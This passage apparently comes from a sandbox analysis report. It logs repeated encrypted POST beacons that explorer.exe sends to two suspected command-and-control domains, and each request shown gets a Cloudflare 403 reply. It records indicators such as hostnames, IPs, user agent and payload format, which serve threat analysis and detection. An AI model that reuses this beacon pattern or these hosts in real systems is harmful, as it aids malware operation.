-->... a padding to disable MSIE and Ch
2024-11-13 17:22:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50006	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:01 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:01 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:02 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1r2nLgGaylcA0qilBncljS4QWx9udQXuiUu0umAnEBz8XwZLVHWX2w%2FByQfOFetFPg95t7b9vT3QEp8XEvQQsnV4OH76bKcvhibOFumd2xbFh0zFM9%2FL5QL50bTapSIG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20710a29e56c6f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1121&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=2623188&cwnd=251&unsent_bytes=0&cid=c8c2661e3f37bc44&ts=434&x=0"
2024-11-13 17:22:02 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50007	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:02 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:02 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:03 UTC	745	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kf6QbVzs01IjXub4ChxAKfDqBBewWhxpj0OU4jKpQURmVJpn%2FkeNDPTSkJ5WYbRWttQkV2j4W7SFGjaaxTjmDMpibkjGIzNHqoLpOIQ081l8i8qbbyZHDqzmX7ishTPl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207110ae07e9bd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1386&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1937123&cwnd=251&unsent_bytes=0&cid=2093097d31608b02&ts=397&x=0"
2024-11-13 17:22:03 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50008	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:04 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:04 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:04 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T3fn6QlD2ADnShiWkE7w%2BJgQac5zJ%2BB6rhtjX0EQfbKg2CxsmZjEIDRBGDtgykuPhApt6AecT3sXIMu8UticN5FHLEAbb78PBgAa1vUAN3SE9AloGRkEJc1%2B9KsAhO4N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20711a8cf3e391-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137358&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20796&cwnd=32&unsent_bytes=0&cid=91d7355ee9d871b5&ts=679&x=0"
2024-11-13 17:22:04 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50010	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:06 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:06 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:07 UTC	745	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lJVKZW4WVYHSwB3cEEmLlOaCV0NZl%2F207pk4vzqookWLiCiuoS3tVCo81D9CazJPEQWgAioJCt4bpFvoKO99GOCXYfupemqmmIhRmo89yzWRJATKduvwPjTzHtguyxXl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207128add6f6c1-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129983&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=22284&cwnd=32&unsent_bytes=0&cid=aba79aad9062ef68&ts=1523&x=0"
2024-11-13 17:22:07 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50011	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:08 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:08 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:09 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IB5NDGGVo3QHHbPb3wYUOOJsJ7BntS7XQYNbHsQOlk9FJnD0bNMKpm%2BZ0RliYCh2bvZqyFBityTt2PBaLHwnpGIZPxhrFncE%2F13DBsEx2%2FDl5osV8T9uSV2E2g%2Bc071z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207132da6a736e-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=144636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20037&cwnd=32&unsent_bytes=0&cid=333774c6181703ba&ts=806&x=0"
2024-11-13 17:22:09 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50012	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:09 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:09 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:10 UTC	753	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z3k%2FFgQG5RN8Zh34Ryei8ARZBOyZpwKDrnJe07HXlaZUkY5rC25aLsW85I65t%2FzBNiO03ASrrnlNMavmXKlagT5f%2BT4XrRVK6btd9vXeMJ7%2BUENpagHji1%2FoNm0IeM0N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20713bae1728e8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=2258970&cwnd=241&unsent_bytes=0&cid=b9f830ac4404c89f&ts=412&x=0"
2024-11-13 17:22:10 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50013	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:11 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:11 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:11 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lE99fMUywD0D83ClWp8fkDocta8SIrOUqVJhbllZK8BOalTHQb2le%2B6FpN%2Fpfa3RfRRL%2BnJiRsMJo1t4tqAzWiwr1FRvRquLMzp7tg4gsBbOecOQfbosDT7%2BnuBXBpnb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20714488bce381-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137933&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=21153&cwnd=32&unsent_bytes=0&cid=947b1b9a7ade8918&ts=624&x=0"
2024-11-13 17:22:11 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50014	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:12 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
